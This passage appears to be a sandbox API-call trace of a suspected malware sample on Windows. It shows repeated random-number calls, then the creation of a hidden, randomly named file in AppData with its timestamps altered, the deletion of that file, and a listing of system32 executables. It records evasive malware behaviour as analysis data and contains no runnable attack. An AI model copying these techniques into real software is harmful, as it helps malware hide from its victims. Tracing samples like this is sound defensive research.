dwLen=0x4, pbBuffer=0x174f90c | out: pbBuffer=0x174f90c) returned 1 [0034.277] CryptReleaseContext (hProv=0x60b630, dwFlags=0x0) returned 1 [0034.277] CryptAcquireContextW (in: phProv=0x174f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x174f8f8*=0x60b630) returned 1 [0034.278] CryptGenRandom (in: hProv=0x60b630, dwLen=0x4, pbBuffer=0x174f90c | out: pbBuffer=0x174f90c) returned 1 [0034.278] CryptReleaseContext (hProv=0x60b630, dwFlags=0x0) returned 1 [0034.278] CryptAcquireContextW (in: phProv=0x174f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x174f8f8*=0x60b630) returned 1 [0034.279] CryptGenRandom (in: hProv=0x60b630, dwLen=0x4, pbBuffer=0x174f90c | out: pbBuffer=0x174f90c) returned 1 [0034.279] CryptReleaseContext (hProv=0x60b630, dwFlags=0x0) returned 1 [0034.279] CryptAcquireContextW (in: phProv=0x174f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x174f8f8*=0x60b630) returned 1 [0034.280] CryptGenRandom (in: hProv=0x60b630, dwLen=0x4, pbBuffer=0x174f90c | out: pbBuffer=0x174f90c) returned 1 [0034.280] CryptReleaseContext (hProv=0x60b630, dwFlags=0x0) returned 1 [0034.280] CryptAcquireContextW (in: phProv=0x174f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x174f8f8*=0x60b630) returned 1 [0034.280] CryptGenRandom (in: hProv=0x60b630, dwLen=0x4, pbBuffer=0x174f90c | out: pbBuffer=0x174f90c) returned 1 [0034.280] CryptReleaseContext (hProv=0x60b630, dwFlags=0x0) returned 1 [0034.280] CryptAcquireContextW (in: phProv=0x174f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x174f8f8*=0x60b630) returned 1 [0034.281] CryptGenRandom (in: hProv=0x60b630, dwLen=0x4, pbBuffer=0x174f90c | out: pbBuffer=0x174f90c) returned 1 [0034.281] CryptReleaseContext (hProv=0x60b630, dwFlags=0x0) returned 1 [0034.281] CryptAcquireContextW (in: phProv=0x174f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x174f8f8*=0x60b630) returned 1 [0034.282] CryptGenRandom (in: hProv=0x60b630, dwLen=0x4, pbBuffer=0x174f90c | out: pbBuffer=0x174f90c) returned 1 [0034.282] CryptReleaseContext (hProv=0x60b630, dwFlags=0x0) returned 1 [0034.282] CryptAcquireContextW (in: phProv=0x174f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x174f8f8*=0x60b630) returned 1 [0034.283] CryptGenRandom (in: hProv=0x60b630, dwLen=0x4, pbBuffer=0x174f90c | out: pbBuffer=0x174f90c) returned 1 [0034.283] CryptReleaseContext (hProv=0x60b630, dwFlags=0x0) returned 1 [0034.283] CryptAcquireContextW (in: phProv=0x174f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x174f8f8*=0x60b630) returned 1 [0034.284] CryptGenRandom (in: hProv=0x60b630, dwLen=0x4, pbBuffer=0x174f90c | out: pbBuffer=0x174f90c) returned 1 [0034.284] CryptReleaseContext (hProv=0x60b630, dwFlags=0x0) returned 1 [0034.284] CryptAcquireContextW (in: phProv=0x174f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x174f8f8*=0x60b630) returned 1 [0034.284] CryptGenRandom (in: hProv=0x60b630, dwLen=0x4, pbBuffer=0x174f90c | out: pbBuffer=0x174f90c) returned 1 [0034.284] CryptReleaseContext (hProv=0x60b630, dwFlags=0x0) returned 1 [0034.284] CryptAcquireContextW (in: phProv=0x174f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x174f8f8*=0x60b630) returned 1 [0034.285] CryptGenRandom (in: hProv=0x60b630, dwLen=0x4, pbBuffer=0x174f90c | out: pbBuffer=0x174f90c) returned 1 [0034.285] CryptReleaseContext (hProv=0x60b630, dwFlags=0x0) returned 1 [0034.285] CryptAcquireContextW (in: phProv=0x174f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x174f8f8*=0x60b630) returned 1 [0034.286] CryptGenRandom (in: hProv=0x60b630, dwLen=0x4, pbBuffer=0x174f90c | out: pbBuffer=0x174f90c) returned 1 [0034.286] CryptReleaseContext (hProv=0x60b630, dwFlags=0x0) returned 1 [0034.286] CryptAcquireContextW (in: phProv=0x174f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x174f8f8*=0x60b630) returned 1 [0034.287] CryptGenRandom (in: hProv=0x60b630, dwLen=0x4, pbBuffer=0x174f90c | out: pbBuffer=0x174f90c) returned 1 [0034.287] CryptReleaseContext (hProv=0x60b630, dwFlags=0x0) returned 1 [0034.287] CryptAcquireContextW (in: phProv=0x174f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x174f8f8*=0x60b630) returned 1 [0034.288] CryptGenRandom (in: hProv=0x60b630, dwLen=0x4, pbBuffer=0x174f90c | out: pbBuffer=0x174f90c) returned 1 [0034.288] CryptReleaseContext (hProv=0x60b630, dwFlags=0x0) returned 1 [0034.288] CryptAcquireContextW (in: phProv=0x174f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x174f8f8*=0x60b630) returned 1 [0034.288] CryptGenRandom (in: hProv=0x60b630, dwLen=0x4, pbBuffer=0x174f90c | out: pbBuffer=0x174f90c) returned 1 [0034.288] CryptReleaseContext (hProv=0x60b630, dwFlags=0x0) returned 1 [0034.288] CryptAcquireContextW (in: phProv=0x174f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x174f8f8*=0x60b630) returned 1 [0034.289] CryptGenRandom (in: hProv=0x60b630, dwLen=0x4, pbBuffer=0x174f90c | out: pbBuffer=0x174f90c) returned 1 [0034.289] CryptReleaseContext (hProv=0x60b630, dwFlags=0x0) returned 1 [0034.289] CryptAcquireContextW (in: phProv=0x174f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x174f8f8*=0x60b630) returned 1 [0034.290] CryptGenRandom (in: hProv=0x60b630, dwLen=0x4, pbBuffer=0x174f90c | out: pbBuffer=0x174f90c) returned 1 [0034.290] CryptReleaseContext (hProv=0x60b630, dwFlags=0x0) returned 1 [0034.290] CryptAcquireContextW (in: phProv=0x174f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x174f8f8*=0x60b630) returned 1 [0034.291] CryptGenRandom (in: hProv=0x60b630, dwLen=0x4, pbBuffer=0x174f90c | out: pbBuffer=0x174f90c) returned 1 [0034.291] CryptReleaseContext (hProv=0x60b630, dwFlags=0x0) returned 1 [0034.291] CryptAcquireContextW (in: phProv=0x174f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x174f8f8*=0x60b630) returned 1 [0034.291] CryptGenRandom (in: hProv=0x60b630, dwLen=0x4, pbBuffer=0x174f90c | out: pbBuffer=0x174f90c) returned 1 [0034.291] CryptReleaseContext (hProv=0x60b630, dwFlags=0x0) returned 1 [0034.291] CryptAcquireContextW (in: phProv=0x174f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x174f8f8*=0x60b630) returned 1 [0034.292] CryptGenRandom (in: hProv=0x60b630, dwLen=0x4, pbBuffer=0x174f90c | out: pbBuffer=0x174f90c) returned 1 [0034.292] CryptReleaseContext (hProv=0x60b630, dwFlags=0x0) returned 1 [0034.292] CryptAcquireContextW (in: phProv=0x174f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x174f8f8*=0x60b630) returned 1 [0034.293] CryptGenRandom (in: hProv=0x60b630, dwLen=0x4, pbBuffer=0x174f90c | out: pbBuffer=0x174f90c) returned 1 [0034.293] CryptReleaseContext (hProv=0x60b630, dwFlags=0x0) returned 1 [0034.293] CryptAcquireContextW (in: phProv=0x174f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x174f8f8*=0x60b630) returned 1 [0034.294] CryptGenRandom (in: hProv=0x60b630, dwLen=0x4, pbBuffer=0x174f90c | out: pbBuffer=0x174f90c) returned 1 [0034.294] CryptReleaseContext (hProv=0x60b630, dwFlags=0x0) returned 1 [0034.294] CryptAcquireContextW (in: phProv=0x174f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x174f8f8*=0x60b630) returned 1 [0034.295] CryptGenRandom (in: hProv=0x60b630, dwLen=0x4, pbBuffer=0x174f90c | out: pbBuffer=0x174f90c) returned 1 [0034.295] CryptReleaseContext (hProv=0x60b630, dwFlags=0x0) returned 1 [0034.295] CryptAcquireContextW (in: phProv=0x174f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x174f8f8*=0x60b630) returned 1 [0034.296] CryptGenRandom (in: hProv=0x60b630, dwLen=0x4, pbBuffer=0x174f90c | out: pbBuffer=0x174f90c) returned 1 [0034.296] CryptReleaseContext (hProv=0x60b630, dwFlags=0x0) returned 1 [0034.296] CryptAcquireContextW (in: phProv=0x174f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x174f8f8*=0x60b630) returned 1 [0034.296] CryptGenRandom (in: hProv=0x60b630, dwLen=0x4, pbBuffer=0x174f90c | out: pbBuffer=0x174f90c) returned 1 [0034.296] CryptReleaseContext (hProv=0x60b630, dwFlags=0x0) returned 1 [0034.296] CryptAcquireContextW (in: phProv=0x174f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x174f8f8*=0x60b630) returned 1 [0034.297] CryptGenRandom (in: hProv=0x60b630, dwLen=0x4, pbBuffer=0x174f90c | out: pbBuffer=0x174f90c) returned 1 [0034.297] CryptReleaseContext (hProv=0x60b630, dwFlags=0x0) returned 1 [0034.297] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\q5V3Jpdmd4QC" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\q5v3jpdmd4qc"), fInfoLevelId=0x0, lpFileInformation=0x174f8c4 | out: lpFileInformation=0x174f8c4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x408ae7, ftCreationTime.dwHighDateTime=0xf70000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x40a79c, ftLastWriteTime.dwLowDateTime=0x174fc20, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x2, nFileSizeLow=0x174f95c)) returned 0 [0034.297] GetLastError () returned 0x2 [0034.297] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\q5V3Jpdmd4QC" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\q5v3jpdmd4qc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x2, hTemplateFile=0x0) returned 0x15c [0034.301] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x174f908, lpLastWriteTime=0x174f908) returned 1 [0034.301] NtClose (Handle=0x15c) returned 0x0 [0034.301] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x800) returned 0xf86058 [0034.301] GetShortPathNameW (in: lpszLongPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\q5V3Jpdmd4QC", lpszShortPath=0xf86058, cchBuffer=0x200 | out: lpszShortPath="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\Q5V3JP~1") returned 0x2a [0034.301] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\q5V3Jpdmd4QC" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\q5v3jpdmd4qc"), fInfoLevelId=0x0, lpFileInformation=0x174f904 | out: lpFileInformation=0x174f904*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x34289a50, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x34289a50, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0x34289a50, ftLastWriteTime.dwHighDateTime=0x1d5dff7, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0034.301] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x184) returned 0xf9de18 [0034.301] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf88a50 [0034.301] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf89038 [0034.301] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf89620 [0034.301] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf895d8 [0034.302] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf89590 [0034.302] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf89548 [0034.302] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf89500 [0034.302] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf894b8 [0034.302] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf89470 [0034.302] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf89428 [0034.302] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf893e0 [0034.302] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf89398 [0034.302] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf89350 [0034.302] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf89308 [0034.336] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf892c0 [0034.336] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf89278 [0034.336] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\q5V3Jpdmd4QC", dwFileAttributes=0x80) returned 1 [0034.337] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\q5V3Jpdmd4QC" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\q5v3jpdmd4qc")) returned 1 [0034.337] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf86058) returned 1 [0034.337] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fcf8) returned 1 [0034.337] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf89230 [0034.337] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf86058 [0034.337] GetSystemDirectoryW (in: lpBuffer=0xf86058, uSize=0x40 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0034.337] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf86058) returned 1 [0034.337] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fcf8 [0034.337] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fc70 [0034.337] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fbe8 [0034.337] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\*.exe", fInfoLevelId=0x1, lpFindFileData=0x174f9a8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f9a8) returned 0x603778 [0034.337] CryptAcquireContextW (in: phProv=0x174f918, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x174f918*=0x60b630) returned 1 [0034.338] CryptGenRandom (in: hProv=0x60b630, dwLen=0x4, pbBuffer=0x174f92c | out: pbBuffer=0x174f92c) returned 1 [0034.338] CryptReleaseContext (hProv=0x60b630, dwFlags=0x0) returned 1 [0034.338] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f9a8 | out: lpFindFileData=0x174f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f389923, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f389923, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f389923, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1e000, dwReserved0=0x31, dwReserved1=0x5c0, cFileName="aitagent.exe", cAlternateFileName="")) returned 1 [0034.342] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f9a8 | out: lpFindFileData=0x174f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41f8f016, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x41f8f016, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xd9897070, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x13600, dwReserved0=0x31, dwReserved1=0x5c0, cFileName="alg.exe", cAlternateFileName="")) returned 1 [0034.342] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f9a8 | out: lpFindFileData=0x174f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22f4ae5, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x22f4ae5, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xd99a1240, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x31, dwReserved1=0x5c0, cFileName="appidcertstorecheck.exe", cAlternateFileName="")) returned 1 [0034.342] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f9a8 | out: lpFindFileData=0x174f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9cf143, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xb9cf143, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xd9a5f920, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x23e00, dwReserved0=0x31, dwReserved1=0x5c0, cFileName="appidpolicyconverter.exe", cAlternateFileName="")) returned 1 [0034.342] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f9a8 | out: lpFindFileData=0x174f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84a17d73, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x84a17d73, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xd9ad2510, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x31, dwReserved1=0x5c0, cFileName="ARP.EXE", cAlternateFileName="")) returned 1 [0034.342] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f9a8 | out: lpFindFileData=0x174f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1fa1c868, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x1fa1c868, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xd9b45100, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x31, dwReserved1=0x5c0, cFileName="at.exe", cAlternateFileName="")) returned 1 [0034.342] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f9a8 | out: lpFindFileData=0x174f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc10ef45b, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc10ef45b, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0xd9b90bf0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x8a00, dwReserved0=0x31, dwReserved1=0x5c0, cFileName="AtBroker.exe", cAlternateFileName="")) returned 1 [0034.342] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f9a8 | out: lpFindFileData=0x174f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3171424a, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3171424a, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xd9b90bf0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x31, dwReserved1=0x5c0, cFileName="attrib.exe", cAlternateFileName="")) returned 1 [0034.342] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f9a8 | out: lpFindFileData=0x174f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d6dcfc6, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d6dcfc6, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d703126, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1ee00, dwReserved0=0x31, dwReserved1=0x5c0, cFileName="audiodg.exe", cAlternateFileName="")) returned 1 [0034.342] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f9a8 | out: lpFindFileData=0x174f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9850cda, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xb9850cda, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xd9c9adc0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xfa00, dwReserved0=0x31, dwReserved1=0x5c0, cFileName="auditpol.exe", cAlternateFileName="")) returned 1 [0034.342] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f9a8 | out: lpFindFileData=0x174f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a59e84b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9a59e84b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9a5eab0c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xbde00, dwReserved0=0x31, dwReserved1=0x5c0, cFileName="autochk.exe", cAlternateFileName="")) returned 1 [0034.342] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f9a8 | out: lpFindFileData=0x174f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e31ba3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x97e31ba3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x97e7de63, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xc1a00, dwReserved0=0x31, dwReserved1=0x5c0, cFileName="autoconv.exe", cAlternateFileName="")) returned 1 [0034.342] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f9a8 | out: lpFindFileData=0x174f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a14e063, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9a14e063, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9a1741c4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xba800, dwReserved0=0x31, dwReserved1=0x5c0, cFileName="autofmt.exe", cAlternateFileName="")) returned 1 [0034.342] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f9a8 | out: lpFindFileData=0x174f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa917cb2, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xaa917cb2, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xda2b55c0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xe600, dwReserved0=0x31, dwReserved1=0x5c0, cFileName="AxInstUI.exe", cAlternateFileName="")) returned 1 [0034.342] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f9a8 | out: lpFindFileData=0x174f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ad77102, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ad77102, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ad77102, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2ae00, dwReserved0=0x31, dwReserved1=0x5c0, cFileName="bcdboot.exe", cAlternateFileName="")) returned 1 [0034.342] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f9a8 | out: lpFindFileData=0x174f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9716654b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9716654b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x973a19ef, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x54800, dwReserved0=0x31, dwReserved1=0x5c0, cFileName="bcdedit.exe", cAlternateFileName="")) returned 1 [0034.342] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f9a8 | out: lpFindFileData=0x174f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc17bc305, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xc17bc305, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xda694920, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xbe00, dwReserved0=0x31, dwReserved1=0x5c0, cFileName="BdeUISrv.exe", cAlternateFileName="")) returned 1 [0034.342] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f9a8 | out: lpFindFileData=0x174f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc086969a, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xc086969a, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xda72bf00, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x31, dwReserved1=0x5c0, cFileName="BdeUnlockWizard.exe", cAlternateFileName="")) returned 1 [0034.342] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f9a8 | out: lpFindFileData=0x174f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x868bb544, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x868bb544, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x868e16a4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x38c00, dwReserved0=0x31, dwReserved1=0x5c0, cFileName="bitsadmin.exe", cAlternateFileName="")) returned 1 [0034.343] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f9a8 | out: lpFindFileData=0x174f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a941698, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x6a941698, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xdaba2840, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x17200, dwReserved0=0x31, dwReserved1=0x5c0, 